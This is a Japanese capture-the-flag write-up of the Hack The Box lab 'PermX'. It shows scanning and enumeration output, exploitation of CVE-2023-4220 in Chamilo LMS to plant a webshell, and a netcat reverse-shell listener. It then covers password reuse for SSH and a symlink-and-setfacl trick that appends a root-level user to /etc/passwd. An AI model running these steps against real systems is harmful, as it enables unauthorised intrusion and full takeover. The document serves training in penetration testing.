初めに
本記事は Hack The Box(以下リンク参照) の「PermX」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
初期探索
ポートスキャン
┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.10.11.23 --top
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.11.23:22
Open 10.10.11.23:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-15 01:34 EDT
Initiating Ping Scan at 01:34
Scanning 10.10.11.23 [4 ports]
Completed Ping Scan at 01:34, 0.26s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:34
Completed Parallel DNS resolution of 1 host. at 01:34, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 01:34
Scanning 10.10.11.23 [2 ports]
Discovered open port 22/tcp on 10.10.11.23
Discovered open port 80/tcp on 10.10.11.23
Completed SYN Stealth Scan at 01:34, 0.23s elapsed (2 total ports)
Nmap scan report for 10.10.11.23
Host is up, received echo-reply ttl 63 (0.20s latency).
Scanned at 2024-07-15 01:34:35 EDT for 1s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds
Raw packets sent: 6 (240B) | Rcvd: 8 (316B)
22と80番Portが公開されている。
サイト探索
80番にアクセスするとpermx.htb
が見えないといわれるので/etc/hosts
に以下の設定を投入する。
10.10.11.23 permx.htb
サブドメイン探索
┌──(root㉿kali)-[~/work]
└─# ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://permx.htb/ -H "HOST: FUZZ.permx.htb" -mc all -fc 302 -t 150
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://permx.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.permx.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: all
:: Filter : Response status: 302
________________________________________________
www [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 210ms]
lms [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 241ms]
* [Status: 400, Size: 301, Words: 26, Lines: 11, Duration: 208ms]
:: Progress: [100000/100000] :: Job [1/1] :: 706 req/sec :: Duration: [0:02:33] :: Errors: 0 ::
見つけたので、これも/etc/hosts
に登録します。
10.10.11.23 permx.htb lms.permx.htb www.permx.htb
ディレクトリ探索
とりあえずdirsearch
します。サブドメインがあるならこっちに穴がありそうなのでこちらを列挙します。
┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://lms.permx.htb/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /root/work/reports/http_lms.permx.htb/__24-07-15_01-42-26.txt
Target: http://lms.permx.htb/
[01:42:26] Starting:
[01:42:30] 200 - 46B - /.bowerrc
[01:42:30] 200 - 2KB - /.codeclimate.yml
[01:42:34] 403 - 278B - /.ht_wsr.txt
[01:42:34] 403 - 278B - /.htaccess.bak1
[01:42:34] 403 - 278B - /.htaccess.orig
[01:42:34] 403 - 278B - /.htaccess.sample
[01:42:34] 403 - 278B - /.htaccess.save
[01:42:34] 403 - 278B - /.htaccess_orig
[01:42:34] 403 - 278B - /.htaccess_extra
[01:42:34] 403 - 278B - /.htaccessOLD2
[01:42:34] 403 - 278B - /.htaccess_sc
[01:42:34] 403 - 278B - /.htaccessOLD
[01:42:34] 403 - 278B - /.htaccessBAK
[01:42:34] 403 - 278B - /.htm
[01:42:34] 403 - 278B - /.html
[01:42:34] 403 - 278B - /.htpasswd_test
[01:42:34] 403 - 278B - /.htpasswds
[01:42:34] 403 - 278B - /.httr-oauth
[01:42:37] 403 - 278B - /.php
[01:42:38] 200 - 3KB - /.scrutinizer.yml
[01:42:40] 200 - 4KB - /.travis.yml
[01:43:04] 301 - 312B - /app -> http://lms.permx.htb/app/
[01:43:04] 200 - 708B - /app/
[01:43:04] 200 - 540B - /app/cache/
[01:43:04] 200 - 407B - /app/logs/
[01:43:05] 200 - 101KB - /app/bootstrap.php.cache
[01:43:08] 301 - 312B - /bin -> http://lms.permx.htb/bin/
[01:43:08] 200 - 455B - /bin/
[01:43:09] 200 - 1KB - /bower.json
[01:43:14] 200 - 7KB - /composer.json
[01:43:15] 200 - 587KB - /composer.lock
[01:43:16] 200 - 5KB - /CONTRIBUTING.md
[01:43:21] 301 - 322B - /documentation -> http://lms.permx.htb/documentation/
[01:43:21] 200 - 1KB - /documentation/
[01:43:25] 200 - 2KB - /favicon.ico
[01:43:34] 200 - 4KB - /index.php
[01:43:34] 200 - 4KB - /index.php/login/
[01:43:38] 200 - 842B - /license.txt
[01:43:38] 200 - 34KB - /LICENSE
[01:43:41] 301 - 313B - /main -> http://lms.permx.htb/main/
[01:43:41] 200 - 97B - /main/
[01:43:59] 200 - 8KB - /README.md
[01:44:00] 200 - 403B - /robots.txt
[01:44:05] 403 - 278B - /server-status
[01:44:05] 403 - 278B - /server-status/
[01:44:10] 200 - 444B - /src/
[01:44:10] 301 - 312B - /src -> http://lms.permx.htb/src/
[01:44:18] 302 - 0B - /user.php -> whoisonline.php
[01:44:20] 200 - 0B - /vendor/autoload.php
[01:44:20] 200 - 0B - /vendor/composer/autoload_files.php
[01:44:20] 200 - 0B - /vendor/composer/autoload_namespaces.php
[01:44:20] 200 - 0B - /vendor/composer/autoload_psr4.php
[01:44:20] 200 - 1KB - /vendor/
[01:44:21] 200 - 0B - /vendor/composer/autoload_classmap.php
[01:44:21] 200 - 0B - /vendor/composer/autoload_real.php
[01:44:21] 200 - 0B - /vendor/composer/ClassLoader.php
[01:44:21] 200 - 0B - /vendor/composer/autoload_static.php
[01:44:21] 200 - 1KB - /vendor/composer/LICENSE
[01:44:22] 200 - 531KB - /vendor/composer/installed.json
[01:44:24] 200 - 6KB - /web.config
[01:44:24] 200 - 480B - /web/
Task Completed
色々見えますね。
ブラウジング
アクセスすると以下のようなサイトが見えます。
/app/
配下には様々なコンフィグファイルが見えて列挙後の情報収集が少し大変ですが、すべてのyml
ファイルを取得したら以下のコマンドでクレデンシャルっぽい記述がないか探してみたらいいと思います。
┌──(root㉿kali)-[~/work]
└─# grep -i -r passw
これでも特段いい情報はありませんでした。
イニシャルアクセス
CVE-2023-4220
documentation
のディレクトリ階層を表示してみると以下のようにVersion情報が見えます。
この1.11
の情報から探ると以下の脆弱性情報がヒットしました。
認証なしでRCEできるみたいなのでこれを利用します。
以下のリポジトリからコードを落としてきます。
Webshellをとりあえず以下のコマンドでアップロードします。
┌──(root㉿kali)-[~/work]
└─# python3 main.py -u http://lms.permx.htb/ -a webshell
WebShellのアップロード先がToolの出力でわかるので、ここにアクセスしてみます。
ping
を打ってみます。待ち受けは以下のようにして待ちましょう。
┌──(root㉿kali)-[~/work]
└─# tcpdump -i tun0 icmp
帰ってきてることがわかりました。これでリバースシェルを張れそうですね。
RevShell
いつものこのサイトを利用します。
Pythonのリバースシェルを使います。待ち受けは以下のようにしておきます。
┌──(root㉿kali)-[~/work]
└─# nc -lnvp 4444
interactiveshell
タブキーや矢印を効かせたいので以下コマンドでShellを安定させます。
┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.60] from (UNKNOWN) [10.10.11.23] 58138
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ ^Z
zsh: suspended nc -lnvp 4444
┌──(root㉿kali)-[/home/kali/Downloads]
└─# stty raw -echo; fg
[1] + continued nc -lnvp 4444
<c/lib/javascript/bigupload/files$ export TERM=xterm
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ export SHELL=/bin/bash
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ reset
横展開
mysql enumration
このShellの権限ではUserフラグは見えないので別のUserに移動する必要があります。
とりあえずこのwebアプリのクレデンシャルを洗っていたらconfiguration.php
にdb
のパスワードがありました。
とりあえずこれでDBへ接続してみます。
www-data@permx:/var/www/chamilo/app/config$ mysql -h localhost -u chamilo -p
user
情報を列挙してみましたがsalt
があり、パスワードの復元は難しそうでした。
ラビットホールですね。
ssh
じゃ、このdbのクレデンシャル情報をそのままUserのSSHアクセス時に利用してみます。
Userにどんなのいるかを確認しときます。
このmtz
さんでSSHしてみます。
いけました。これでUserフラグゲットです!
権限昇格
sudo -l
とりあえずsudoできるのみます。
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
mtz@permx:~$
ほう、このシェルの中身を確認します。
mtz@permx:~$ cat /opt/acl.sh
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
mtz@permx:~$
setfacl
を打ってますな。んでどのファイルかはif
で制限してそう。
home
の自分階層に絞ってますね。
exploit
じゃ、シンボリックリンクで別の階層に飛ばすようにしてあげます。
/etc/passwd
とかの階層に飛ばしてWrite権限を付与させます。
mtz@permx:~$ ln -s /etc/passwd pass
mtz@permx:~$ ll
total 1400
drwxr-x--- 5 mtz mtz 4096 Jul 14 07:04 ./
drwxr-xr-x 3 root root 4096 Jan 20 18:10 ../
-rwxrwxr-x+ 1 mtz mtz 1396520 Jul 14 06:44 bash*
lrwxrwxrwx 1 root root 9 Jan 20 18:12 .bash_history -> /dev/null
-rw-r--r-- 1 mtz mtz 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 mtz mtz 3771 Jan 6 2022 .bashrc
drwx------ 2 mtz mtz 4096 May 31 11:14 .cache/
drwxrwxr-x 3 mtz mtz 4096 Jul 14 05:02 .local/
lrwxrwxrwx 1 root root 9 Jan 20 18:37 .mysql_history -> /dev/null
lrwxrwxrwx 1 mtz mtz 11 Jul 14 07:04 pass -> /etc/passwd
-rw-r--r-- 1 mtz mtz 807 Jan 6 2022 .profile
drwx------ 2 mtz mtz 4096 Jan 20 18:10 .ssh/
-rw-r----- 1 root mtz 33 Jul 14 04:59 user.txt
mtz@permx:~$
mtz@permx:~$ sudo /opt/acl.sh mtz 7 /home/mtz/pass
これで付与できたはずなので確認します。
mtz@permx:~$ ls -lta /etc/passwd
-rw-rwxr--+ 1 root root 1880 Jul 14 07:03 /etc/passwd
mtz@permx:~$
イケてそう。
この/etc/passwd
にRoot権限のUserを作成します。
mtz@permx:~$ openssl passwd pass123
$1$iHQiIyto$D/.8L0KjJrGZRgrE62Dfj0
mtz@permx:~$
mtz@permx:~$ echo 'root2:$1$iHQiIyto$D/.8L0KjJrGZRgrE62Dfj0:0:0:root:/root:/bin/bash' >> /etc/passwd
su
でrootとしてアクセスできるか確認します。
いけました!!!これでRoot権限ゲットです。
まとめ
これで特権昇格に成功し、Root権限奪取に成功しました。
今回のBoxはEasyらしいEasyだったかなと思います。特段目新しいことはしてません。
今回もセキュリティエンジニアの皆さんの助けになればなと思います。